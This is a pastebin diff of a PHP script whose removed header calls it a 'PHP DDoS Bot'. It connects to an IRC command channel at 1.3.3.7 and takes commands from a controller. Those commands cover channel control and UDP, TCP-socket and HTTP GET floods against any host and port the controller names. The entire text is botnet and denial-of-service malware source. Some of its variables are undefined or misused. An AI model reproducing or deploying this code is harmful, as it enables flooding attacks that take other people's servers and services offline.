SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | ||
| 3 | $server="1.3.3.7"; | |
| 4 | - | /* |
| 4 | + | |
| 5 | $nick="bot-";$willekeurig; | |
| 6 | $willekeurig=mt_rand(0,3); | |
| 7 | - | PHP DDoS Bot |
| 7 | + | |
| 8 | - | Version 1.0 |
| 8 | + | |
| 9 | - | [www.~censored~.org] |
| 9 | + | |
| 10 | $msg="Farewell."; | |
| 11 | ||
| 12 | - | */ |
| 12 | + | |
| 13 | $loop = 0; $verbonden = 0; | |
| 14 | $verbinden = fsockopen($server, $Port); | |
| 15 | ||
| 16 | while ($read = fgets($verbinden,512)) {
| |
| 17 | ||
| 18 | $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
| |
| 19 | $read2 = explode(" ",$read);
| |
| 20 | ||
| 21 | if ($loop == 0) {
| |
| 22 | fputs($verbinden,"nick $nick$nicknummer\n\n"); | |
| 23 | fputs($verbinden,"USER cybercrime 0 * :woopie\n\n"); | |
| 24 | } | |
| 25 | ||
| 26 | if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
| |
| 27 | ||
| 28 | if ($read2[1] == 251) {
| |
| 29 | fputs($verbinden,"join $Channel $Channelpass\n"); | |
| 30 | $verbonden++; | |
| 31 | } | |
| 32 | ||
| 33 | ||
| 34 | if (eregi("bot-op",$read)) {
| |
| 35 | fputs($verbinden,"mode $Channel +o $read2[4]\n"); | |
| 36 | } | |
| 37 | ||
| 38 | ||
| 39 | if (eregi("bot-deop",$read)) {
| |
| 40 | fputs($verbinden,"mode $Channel -o $read2[4]\n"); | |
| 41 | } | |
| 42 | ||
| 43 | if (eregi("bot-quit",$read)) {
| |
| 44 | fputs($verbinden,"quit :$msg\n\n"); | |
| 45 | break; | |
| 46 | } | |
| 47 | ||
| 48 | if (eregi("bot-join",$read)) {
| |
| 49 | fputs($verbinden,"join $read2[4]\n"); | |
| 50 | } | |
| 51 | ||
| 52 | if (eregi("bot-part",$read)) {
| |
| 53 | fputs($verbinden,"part $read2[4]\n"); | |
| 54 | } | |
| 55 | ||
| 56 | ||
| 57 | if (eregi("ddos-udp",$read)) {
| |
| 58 | fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n"); | |
| 59 | $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
| |
| 60 | if (!$fp) | |
| 61 | {
| |
| 62 | //echo "$errstr ($errno)<br>\n"; //troep | |
| 63 | exit; | |
| 64 | } | |
| 65 | else | |
| 66 | {
| |
| 67 | $char = "a"; | |
| 68 | for($a = 0; $a < 9999999999999; $a++) | |
| 69 | $data = $data.$char; | |
| 70 | ||
| 71 | if(fputs ($fp, $data) ) | |
| 72 | fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); | |
| 73 | else | |
| 74 | fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); | |
| 75 | } | |
| 76 | } | |
| 77 | ||
| 78 | if (eregi("ddos-tcp",$read)) {
| |
| 79 | fputs($verbinden,"part $read2[4]\n"); | |
| 80 | fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n"); | |
| 81 | $server = $read2[4]; | |
| 82 | $Port = $read2[5]; | |
| 83 | ||
| 84 | for($sockets = 0; $sockets < $read2[6]; $sockets++) | |
| 85 | {
| |
| 86 | $verbinden = fsockopen($server, $Port); | |
| 87 | } | |
| 88 | } | |
| 89 | ||
| 90 | if (eregi("ddos-http",$read)) {
| |
| 91 | fputs($verbinden,"part $read2[4]\n"); | |
| 92 | fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n"); | |
| 93 | $Webserver = $read2[4]; | |
| 94 | $Port = $read2[5]; | |
| 95 | ||
| 96 | $Aanvraag = "GET / HTTP/1.1\r\n"; | |
| 97 | $Aanvraag .= "Accept: */*\r\n"; | |
| 98 | $Aanvraag .= "Accept-Language: nl\r\n"; | |
| 99 | $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n"; | |
| 100 | $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; | |
| 101 | $Aanvraag .= "Host: $read2[4]\r\n"; | |
| 102 | $Aanvraag .= "Connection: Keep-Alive\r\n\r\n"; | |
| 103 | ||
| 104 | for($Aantal = 0; $Aantal < $read2[6]; $Aantal++) | |
| 105 | {
| |
| 106 | $DoS = fsockopen($Webserver, $Port); | |
| 107 | fwrite($DoS, $Aanvraag); | |
| 108 | fclose($DoS); | |
| 109 | } | |
| 110 | } | |
| 111 | $loop++; | |
| 112 | ||
| 113 | } | |
| 114 | ?> |